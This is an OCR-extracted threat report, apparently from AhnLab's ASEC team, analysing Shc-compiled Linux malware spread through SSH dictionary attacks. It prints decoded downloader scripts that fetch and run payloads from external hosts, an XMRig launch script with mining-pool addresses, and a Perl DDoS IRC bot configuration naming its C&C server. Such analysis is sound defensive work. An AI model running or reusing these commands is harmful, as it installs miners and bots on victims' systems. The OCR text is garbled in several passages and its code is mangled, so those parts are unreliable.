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A CAUTION

This report contains a number of opinions given by the analysts based on the
information that has been confirmed so far. Each analyst may have a different
opinion and the content of this report

may change without notice if new evidence is confirmed.
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Overview

The ASEC analysis team recently discovered that a Linux malware developed with Shc has
been installing a CoinMiner. It is presumed that after successful authentication through a
dictionary attack on inadequately managed Linux SSH servers, various m alware were installed
on the target system. Among those installed were the Shc downloader, XMRig CoinMiner
installed through the former, and DDoS IRC Bot, developed with Perl.

Shc Linux Malware Installing CoinMiner

1) Shc (Shell Script Compiler)

Shc is an abbreviation for Shell Script Compiler and is responsible for converting Bash shell
scripts into an ELF (Executable and Linkable Format).

MANPAGES

Index About Manpages FAQ Service Information

debian f bullseye [ shc / she(1)
language-indep link
ackage tracker
NAME packag

raw man page
shc - Generic shell script compiler

table of contents

SYNOPSIS
other versions
shce [ edate JL maddr 1 [ -i dopt 1[ -x ecmnd 1 [ -1 lopt 1 [ -0 outfile
1 [ -ABCDRUHVST 1 -f script Sl g
testing 4.0.37
DESCRIPTION unstable 4.0.311

she creates a stripped binary executable version of the script specified with
-f on the command line.

The binary version will get a .x extension appended by default if outfile is
not defined with [-o outfile] option and will usually be a bit larger in size

than the original ascii code. Generated C source code is saved in a file with
the extension .x.c or in a file specified with appropriate option.

Figure 1. Overview of General Shell Script Compiler
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Bash is a basic shell offered in the Linux operating system, and commands supported by the
Bash shell can be compiled in script format. This means that the commands to be executed by
users can be written as scripts, and because of this, syntaxes such as conditional and looping
statements are provided. The Bash shell can be compared to the Command Prompt in
Windows, with the Bash shell script files corresponding to Windows batch scripts.

Additionally, just like how Linux has Shc that converts Bash shell scripts into executable ELF
file formats, Windows has the bat2exe utility that converts batch scripts into executable EXE
file formats. In Windows environments, threat actors use bat2exe to convert malicious batch
scripts to execu tables before distributing them in order to bypass file detection of security
software such as anti -malware products. It is likely that the reason threat actors do not
distribute the bash shell scripts as is but rather convert them to ELF before distributi  ng them
is to evade file detection as they do in Windows environments.

The Shc data section contains the original Bash shell script encoded with the Alleged RC4

algorithm. When it is executed afterward, the same ARC4 algorithm is used to decode the
original script, and the decoded script commands are executed.

arcd

; 1811 8 arcd
Gpeapoeas : aed40e1lac mov edi, @xBB2afc

arcd

edi = Gx00601b9e

Data Dump

# 0x0000000000601000-0x0000000000603000

fad
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Figure 2. Decoding routine using the ARC4 algorithm
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2) Shc Downloader

The following is a decoded Bash shell script of Shc malware reported by a client company that

suffered an infiltration attack. It downloads and runs files from external sources, and based

on the fact that XMRig CoinMiner is downloaded and installed from the currently available

address, it is assumed to be a CoinMiner downloader.

188 sed -1 "s|--tls|--tls -x "$4"[g" run

184 fi

11e if [ -z "$3" ]; then

] echo "No same HDD™

112 else

113 sed -i -e "s?.bash.pid?$3.bash.pid?" run
114 fi

115 $7

116 FILE1="$LOCATION.cache/s"

117 if [ -f "$FILE1" ]; then

118 echo "$FILE1 exists.”

119 else

12@ echo "$FILE1 does not exist.”

121 wget --timeout=5 --tries=2 http://wget.hostname.help/driver.zip -g
122 curl --socks5-hostname "$4" --connect-timeout 5 -s -0 http://wget.hostname.help/driver.zip
123 unzip -qq driver.zip

124 rm -rf driver.zip

125 fi

126 sed -i "s|type|"$2"|g" run

127 ./run

128 fi

129 sleep 4h

138 echo loop restarting

Dgespc 1,

? nmprgml md rfc bcambcbhb @

Additionally, this malware has the characteristic of infecting systems alongside DDoS IRC Bot

malware developed with Perl, and this point will be discussed in more d etail further on. These

DDoS IRC Bots have been continuously installed during the past years on Linux servers with

inappropriate account information and still continued to this day. The threat actors attempt

dictionary attacks on SSH servers after a scanni ng process, and if this process is successful,

various malware such as Perl IRC Bot is installed on the target system. Other malware include
XMRIig, SSH Scanner and various IRC Bot malware.

?1 _jwggq md rfc

pcnmprcb Kk _ju_@asrpgenilc _bh el &

instead required multiple arguments, which limits our analysis with this sample only.

AhnLab
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Argument # Feature

1 The download URL and the name of the file to be downloaded

2 Tcpggml &Rfc 2slgtcpg_j°® qrpgle
3 The name of the PID file to be created

4 The Socks5 host name

Rfc n_rf wufcpc rfc glqr_jj_rgml

by default)
6 Additional download URLs
7 Additional commands

Table 1. Arguments needed for execution

While the ASEC analysis team was tracking related malware, the team found a similar form of
Shc Downloader Malware uploaded on VirusTotal. Assuming that such types of malware were
all uploaded to VirusTotal from Korea, it seems that attacks generally targe t systems in Korea.
The malware found on VirusTotal has a much simpler structure in comparison to the type
covered above, requiring no additional arguments and having a complete URL as the download
address.
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22 cd fusrflocal/games/
23 wget --timeout=18 --tries=2 http://172.165.211.21/snunewa.tar -q
24 FILE="/usr/local/games/snunewa.tar"”
25 if [ -f "$FILE” ]; then
26 echo "$FILE exists.™
7 else
28 echo "$FILE does not exist.”
29 url --connect-timesout 5 -5 -0 http://172.185.211.21/snunewa.tar
3@ fi
31 if [ -F "$FILE" ]; then
32 echo "$FILE exists.”
else
34 echo "$FILE does not exist.”
35 curl --connect-timeput 5 -s -0 http://172.184.178.248/snunewa.tar
36 fi
7 if [ -f "$FILE" ]; then
38 echo "$FILE exists.”
39 else
46 echo "$FILE does not exist.”
41 wget --timeout=18 --tries=2 http://172.184.178.240/snunewa.tar -q
42 i
43 tar xf snunewa.tar
a4 rm -rf fusrflocal/games/snunewa.tar*
45 cd fusr/local/games/.cache/
46 rm -rf xmrig
47 wget --timeout=18 --tries=2 http://172.185.211.21/xmrig -q
48 chmod +x xmrig
49 sed -1 -e"s/cacatule/$({cat /proc/sys/kernel/hostname)/" /fusr/local/games/.cache/config.json
1 ./run

Figure 4. Bash shell script extracted from the similar file

3) XMRig CoinMiner

The Shc downloader malware is responsible for downloading a compressed file from an

cvrcpl j gmspac rm rfc n_rf* 2-sqgp-jma_j-e_ Kk
file currently available for download includes n ot only the XMRig CoinMiner malware but also
aml dge, hgml! wugrf rfc kglgle nmmj SPJ _|I b r
snunewa.tar WE 2= 37| ¢= 37| =8 =HE LN 2]
e .cache
| ] SHA2565UMS 150 512 oIty 2022-06-23 . cache
[ ] xmrig 8,879,280 8879618 ItY 2022-06-23 .. .cache
| ] run 1,696 2,048 Y 2022-11-19 .. .cache
LT config json 12,425 12,800 JSON File  2022-11-04 .. .cache

Figure 5. Downloaded compressed file
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61
62
63
a4
b5
66
67
63
69
7d
71
72
73
74
75
76
77
78
79
26
81
82
23
34
85

"pools":

{

"algo™: null,

"coin™: null,

"upl"™: "159.89.1688.225:443",
“ugser iy

"pass”: “cacatule”,
"pig-id"”: null,
"nicehash™: false,
"keepalive": false,
"enabled": true,

"tls": true,
"tls-fingerprint”: null,
"daemon”: false,
"socksS": null,
"self-select™: null,
"submit-to-origin”: false

"algo™: null,

"coin™: null,

"url™: "159.89.186.225:21",
B 1| e

"pass": "cacatule”,
"rig-id"”: null,

Figure 6. config.json file

As the config.json file containing the configuration data exists in the same path, the
configuration does not need to be transmitted when XMRIig is executed. However, examining

rfc 2psl 3

gapgnr

gf mul “cjmu pctc_jqg rf __r

config.json before executing XMRig.

AhnLab

10

agn




Shc Linux Malware Installing CoinMiner

1 #!/bin/bash
2 #ps aux | grep -vw xmr-stak | awk ‘{if($3>48.@) print $2}' | while read procid
3 #do
4 #kill -9 $procid
5 #done
6 proc="nproc’
7 ARCH="uname -m”
8 HIDE="xmrig"
g
1@ if [ "$ARCH" == "i686" ]; then
11 SSxmedg »»fdevinull &
12 elif [ "$ARCH" == "x86 64" ]; then
13 fxmrig -0 159.89.186.225:443 -u “hostname™ -k --tls -o 159.89.108.225:21 -u " hostname™ -k --tls
-0 159.89.1@8.225:22 -u " hostname™ -k --tls -o 15%.89.18®.225:2222 -u "hostname™ -k --tls -o 159.
89.188.225:25 -u “hostname” -k --tls -o 159.89.186.225:3386 -u "hostname’™ -k --tls -o 1509.80.1688.
225:3333 -u " hostname® -k --tls -o 159.89.188.225:4444 -y "hostname® -k --tls -o 159.89.188.
225:5432 -u “hostname” -k --tls -o 159.89.1@8.225:5555 -u “hostname™ -k --tls -0 159.8%.18a.
225:618@ -u “hostname® -k --tls -0 159.89.1@8.225:528@ -u “hostname™ -k --tls -o 159.89.18@.
225:6666 -u “hostname® -k --tls -0 159.89.1@8.225:8@ -u " hostname® -k --tls -o 159.89.1088.225:1812
-u “hostname™ -k --tls -o 172.184.178.248:1812 -u “hostname™ -k --tls -o 172.184.178.248:21 -u
“hostname”™ -k --tls -o 172.184.178.248:22 -u “hostname™ -k --tls -o 172.184.176.248:2222 -u
“hostname™ -k --tls -o 172.164.178.24@:25 -u "hostname™ -k --tls -0 172.184.178.248:33@6 -u
“hostname”™ -k --tls -o 172.184.17@.248:3333 -u "hostname™ -k --tls -o 172.184.17@.2408:4444 -u
“hostname” -k --tls -o 172.184.178.248:5432 -u “hostname” -k --tls -o 172.184.178.248:5555 -u
“hostname® -k --tls -o 172.184.178.248:6188 -u “hostname™ -k --tls -0 172.184.178.248:6288 -u
“hostname™ -k --tls -o 172.1684.178.24@:6666 -u "hostname™ -k --tls -0 172.184.17@.2408:8@ -u
“hostname® -k --tls -0 172.164.179.24@:443 -u “hostname™ -k --tls »>/dev/null &
u s S
15 echo %! » bash.pid
Dgespc 5, Rfc 2psl 3 gapgnr rf _r ¢
4) DDoS IRC Bot
Aside from installing a CoinMiner on the infected system, the threat actor installs an IRC bot
that can perform a DDoS attack by receiving commands. This DDoS IRC Bot has the
characteristic of being developed with Perl, and as the name suggests, it uses the IRC protocol
in communications with the C&C server.
Both malware strains are similar in form, and while one of them currently cannot connect to
the C&C server (IRC server), the other can. Even if a connection can be established, entering
the channel is unavailable, and this is presumed to be because the password has been
af _lecb dpmk 2bbmqgqgr3 rm _Imrfcp t _jsc, afidbbd

displayed after channel entry is denied. A compressed file can be downloaded from this URL,
and this file contains XMRig from above.
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Wireshark - Follow TCP Stream (tcp.stream eq 2) -ethQ

linux_4 157.230.116.194
.52657.net @01 L_4 N :._4 I 1inux_4@
.52657.net 001 L_4 M :login:

.52657.net 376 L_4 N :

#xmr ddosit

#xmr ddosit

.52657.net 332 L_4 #xmr :236 - 10.08 pateu.freevar.com/|
i testpass first

Figure 8. The process of connecting to the IRC server and attempting to enter the channel

Nextisthe configurato | b r  uf gaf gl ajsbcq rfc GPA qgcptlcp

af _1 1 cj |l kc rm clrcp'"* _|Ib rfc n_gqump
reference, DDoS IRC Bot performs additional tasks to verify the threat actor; the username of
the user that entered the channel must be one of the four usernames shown below and the
fmgr _bbpcqg ksgr ~ ¢ 2oucpr w3,

1 #!/usr/bin/perl

? #!u [@ddos

3 #!u [@commands

4 #lu @irc

5 i R SR

6 my $processo = 'usr/sbin/httpd’;

7 my %$linas_max="18";

8 my $sleep="5";

g my Fcmd="";

1@ my $id="";

11 i

12 my @adms={("gwerty" , "asdfghl" , "zxcvbnl", "12345"); # Attacker's NickName
13 my @hostauth=("querty"); # Attacker's Host Address
14 my @canais=("#xmr");

15 my $chanpass = "@"; # IRC Channel

16 $num = int rand(99999);

17 $procesaor=" nproc’ ;

18 $hostname="hostname’ ;

19 chop $procesor;

28 chop $hosthame;

21 $hostname=~s/\./-/;

22 chop (my $nick = "L_${procesor} ${hostname} ");
23 my %ircname ="linux ${procesor}”;

24 my %realname = "${hostname} ${procesor} ";
25 $servidor="64.227.112.247" unless $servidor; # IRC Server Address
26 my $porta='88"; # IRC Server Port

27 AR EREN R R
Figure 9. Configuration data of DDoS Perl IRC Bot
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If the above conditions are met, it deems the user to be the threat actor and  performs the
received commands. This bot supports not only DDoS attacks such as TCP Flood, UDP Flood,
and HTTP Flood but various other features including command execution, reverse shell, port

scanning, and log deletion. The following is a screenshottaken | mr "~ w r fc _ar s |

command but during a test process. It shows the process of DDoS IRC Bot sending the list of
amkk | bg rm rfc !'vkp af _|1cj uf cl rfc 2 s >3
the list of available commands.

Figure 10. Following commands transmitted from the IRC server
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